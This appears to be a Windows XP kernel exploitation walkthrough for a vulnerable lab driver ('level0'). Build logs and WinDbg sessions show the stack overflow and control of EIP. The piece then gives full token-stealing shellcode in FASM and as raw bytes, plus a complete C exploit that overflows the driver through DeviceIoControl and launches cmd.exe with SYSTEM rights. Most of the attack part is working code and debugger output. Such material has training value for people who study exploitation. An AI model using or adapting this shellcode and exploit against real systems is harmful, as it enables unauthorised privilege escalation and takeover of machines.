BUILD: Compile and Link for x86
BUILD: Loading c:\winddk\7600.16385.1\build.dat...
BUILD: Computing Include file dependencies:
BUILD: Start time: Thu Feb 27 09:13:48 2014
BUILD: Examining c:\driver\level0 directory for files to compile.
c:\driver\level0 Invalidating OACR warning log for 'root:x86chk'
BUILD: Saving c:\winddk\7600.16385.1\build.dat...
BUILD: Compiling and Linking c:\driver\level0 directory
Configuring OACR for 'root:x86chk' - <OACR on>
_NT_TARGET_VERSION SET TO WINXP
Compiling - exploit.c
Linking Executable - objchk_wxp_x86\i386\exploit.exe
BUILD: Finish time: Thu Feb 27 09:13:58 2014
BUILD: Done
3 files compiled - 1 Warning - 30 LPS
1 executable built

kd> g
[ Loading.. ]
[ Creating the device...]
[ Linking...]
kd> lm
start end module name
804d7000 806cfe00 nt (pdb symbols) c:\windows\symbols\xp\exe\ntkrnlpa.pdb
baf7d000 baf7da80 1 (deferred)
kd> ? $iment(0xbaf7d000)
Evaluate expression: -1158163440 = baf7d410
kd> uf baf7d410
...
1+0x4f7:
baf7d4f7 8b4508 mov eax,dword ptr [ebp+8]
baf7d4fa c7407020d5f7ba mov dword ptr [eax+70h],offset 1+0x520 (baf7d520)
baf7d501 33c0 xor eax,eax
baf7d503 8be5 mov esp,ebp
baf7d505 5d pop ebp
baf7d506 c20800 ret 8
kd> uf baf7d520
...
1+0x61b:
baf7d61b 32d2 xor dl,dl
baf7d61d 8b4d0c mov ecx,dword ptr [ebp+0Ch]
baf7d620 ff150cd8f7ba call dword ptr [1+0x80c (baf7d80c)]
baf7d626 8b450c mov eax,dword ptr [ebp+0Ch]
baf7d629 8b4018 mov eax,dword ptr [eax+18h]
baf7d62c 8be5 mov esp,ebp
baf7d62e 5d pop ebp
baf7d62f c20800 ret 8
kd> bp baf7d62f

All is ready ! We !go and WinDbg look like that:

kd> g
[ Let's copying this buffer...]Breakpoint 0 hit
1+0x62f:
baf7d62f c20800 ret 8
kd> dd esp
b9019c38 42424242 8657fc00 863b0700 806d1070
b9019c48 80574d5e 863b0770 8672a420 863b0700
kd> t
42424242 ?? ???

We control EIP! Therefore, we will put a shellcode in userland to make an escalade privilege of our process. After that, we will point EIP to our shellcode and hop, our process have the SYSTEM rights!

Shellcode

Now we need to code a shellcode to swap the SYSTEM token with our process token. To do that, we look for useful structures in Windows kernel:

kd> r fs
fs=00000030
kd> dg fs
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 ffdff000 00001fff Data RW Ac 0 Bg Pg P Nl 00000c93
kd> dt _KPCR ffdff000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x01c SelfPcr : 0xffdff000 _KPCR
+0x020 Prcb : 0xffdff120 _KPRCB
+0x024 Irql : 0x1c ''
+0x028 IRR : 4
+0x02c IrrActive : 0
+0x030 IDR : 0xffff20d8
+0x034 KdVersionBlock : 0x80545ab8 Void
+0x038 IDT : 0x8003f400 _KIDTENTRY
+0x03c GDT : 0x8003f000 _KGDTENTRY
+0x040 TSS : 0x80042000 _KTSS
+0x044 MajorVersion : 1
+0x046 MinorVersion : 1
+0x048 SetMember : 1
+0x04c StallScaleFactor : 0x64
+0x050 DebugActive : 0 ''
+0x051 Number : 0 ''
+0x052 Spare0 : 0 ''
+0x053 SecondLevelCacheAssociativity : 0 ''
+0x054 VdmAlert : 0
+0x058 KernelReserved : [14] 0
+0x090 SecondLevelCacheSize : 0
+0x094 HalReserved : [16] 0
+0x0d4 InterruptMode : 0
+0x0d8 Spare1 : 0 ''
+0x0dc KernelReserved2 : [17] 0
+0x120 PrcbData : _KPRCB
kd> dt _KPRCB ffdff000+0x120
nt!_KPRCB
+0x000 MinorVersion : 1
+0x002 MajorVersion : 1
+0x004 CurrentThread : 0x80552740 _KTHREAD
kd> dt _KTHREAD poi(ffdff000+0x120+0x004)
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 MutantListHead : _LIST_ENTRY [ 0x80552750 - 0x80552750 ]
+0x018 InitialStack : 0x80549f00 Void
+0x01c StackLimit : 0x80546f00 Void
+0x020 Teb : (null)
+0x024 TlsArray : (null)
+0x028 KernelStack : 0x80549c4c Void
+0x02c DebugActive : 0 ''
+0x02d State : 0x2 ''
+0x02e Alerted : [2] ""
+0x030 Iopl : 0 ''
+0x031 NpxState : 0xa ''
+0x032 Saturation : 0 ''
+0x033 Priority : 16 ''
+0x034 ApcState : _KAPC_STATE
kd> dt _KAPC_STATE poi(ffdff000+0x120+0x004)+0x034
nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY [ 0x80552774 - 0x80552774 ]
+0x010 Process : 0x805529a0 _KPROCESS
kd> dt _EPROCESS poi(ffdff000+0x120+0x004)+0x034+0x10
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER 0x80552838`00000000
+0x078 ExitTime : _LARGE_INTEGER 0x80552740`80552838
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : (null)
+0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x10102 - 0x0 ]
+0x090 QuotaUsage : [3] 0
+0x09c QuotaPeak : [3] 0x80552fa0
+0x0a8 CommitCharge : 0
+0x0ac PeakVirtualSize : 0xa0008
+0x0b0 VirtualSize : 0
+0x0b4 SessionProcessLinks : _LIST_ENTRY [ 0x80552838 - 0x80552838 ]
+0x0bc DebugPort : (null)
+0x0c0 ExceptionPort : (null)
+0x0c4 ObjectTable : (null)
+0x0c8 Token : _EX_FAST_REF

We could use UniqueProcessId (+0x084), our Token (+0x0c8) and also the linked list ActiveProcessLinks (+0x088) to get the list of all process. In XP, the identifier of SYSTEM process is 4 and we can get our PID with GetCurrentProcessId(). With these information, we can code our shellcode. I have coded mine with the FASM syntax:

format PE GUI 4.0

start:

;--------------------------------
; Stack
;--------------------------------
; ESP-8: EPROCESS+0x088 system
;--------------------------------
; ESP-4: EPROCESS+0x088 exploit
;--------------------------------
push 0xFFFFFFFF
push 0xFFFFFFFF

mov edx, [fs:0x124] ; +0x120 PrcbData : _KPRCB | +0x004 CurrentThread : _KTHREAD 
mov edx, [edx + 0x44] ; +0x034 ApcState : _KAPC_STATE | +0x010 Process : _KPROCESS
add edx, 0x88 ; +0x088 ActiveProcessLinks : _LIST_ENTRY
mov ebx, edx ; Our linked list \o/ We save the first structure

searchProcess:
mov eax, [edx - 0x4] ; +0x084 UniqueProcessId
cmp eax, 0x4 ; SYSTEM PID
je sysProcFound
cmp eax, 0x41414141 ; Our exploit PID
je exploitProcFound

nextProcess:
mov edx, [edx] ; Next process (Flink)
cmp edx, ebx ; We are back at the starting point
je retApp
jmp searchProcess ; We loop!

sysProcFound:
mov [esp+4], edx
jmp allPIDFound

exploitProcFound:
mov [esp], edx

allPIDFound:
cmp [esp], dword 0xFFFFFFFF
je nextProcess
cmp [esp+4], dword 0xFFFFFFFF
je nextProcess

; We copy the SYSTEM token
pop edi ; Exploit
pop esi ; System
mov eax, [esi + 0x40] ; 0xC8 - 0x88 = 0x40 | +0x0c8 Token : _EX_FAST_REF
mov [edi + 0x40], eax

retApp:
xor eax, eax
mov al, 0x3B ; FS address in userland
mov fs, ax
mov ecx, 0x42424242 ; Stack address
mov edx, 0x43434343 ; Address of our function in our process
sysexit

Final exploit

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\1"

BYTE shellcode[] = "\x6A\xFF\x6A\xFF\x64\x8B\x15\x24\x01\x00\x00\x8B\x52\x44\x81\xC2\x88\x00\x00\x00\x89\xD3\x8B"
 "\x42\xFC\x83\xF8\x04\x74\x0F\x3D\x41\x41\x41\x41\x74\x0E\x8B\x12\x39\xDA\x74\x26\xEB\xE9\x89"
 "\x54\x24\x04\xEB\x03\x89\x14\x24\x81\x3C\x24\xFF\xFF\xFF\xFF\x74\xE6\x81\x7C\x24\x04\xFF\xFF"
 "\xFF\xFF\x74\xDC\x5F\x5E\x8B\x46\x40\x89\x47\x40\x31\xC0\xB0\x3B\x8E\xE0\xB9\x42\x42\x42\x42"
 "\xBA\x43\x43\x43\x43\x0F\x35";
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};


void replacePattern(char buffer[], int bufferSize, DWORD pattern, DWORD value) {
 BOOL found = FALSE;
 int i;

 for (i = 0; i < bufferSize; i++) {
 if (*(PDWORD)(buffer + i) == pattern) {
 found = TRUE;
 *(PDWORD)(buffer + i) = value;
 }
 }

 return found;
}

// Code to execute with SYSTEM's right
//
void sysCode() {
 si.cb = sizeof(si);

 CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}

int findStack() {
 DWORD stack;

 __asm mov stack, esp

 return stack;
}

int main() {
 DWORD byte = 0, lenMagik = 0, addr = 0;
 HANDLE hDevice = NULL;
 UCHAR magik[1024] = {0};

 addr = VirtualAlloc(0x01010101, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if(addr == 0) {
 printf("Error with VirtualProtect : %.8x", GetLastError());
 return EXIT_FAILURE;
 }

 replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId()); // Process PID
 replacePattern(shellcode, sizeof(shellcode), 0x42424242, findStack()); // Stack address
 replacePattern(shellcode, sizeof(shellcode), 0x43434343, sysCode); // Code to execute with SYSTEM's right
 memcpy(0x01010101, shellcode, sizeof(shellcode));

 memset(magik, 0x90, 276); // Padding
 lenMagik += 276;
 memcpy(magik+276, "\x01\x01\x01\x01\x00", 5); // Shellcode address
 lenMagik += 5;

 hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 if(hDevice == INVALID_HANDLE_VALUE) {
 printf("[-] Error with Createfile : %.8x.\n", GetLastError());
 return EXIT_FAILURE;
 }

 DeviceIoControl(hDevice, IOCTL_HI, magik, lenMagik, NULL, 0, &byte, NULL);
 CloseHandle(hDevice);

 return EXIT_SUCCESS;
}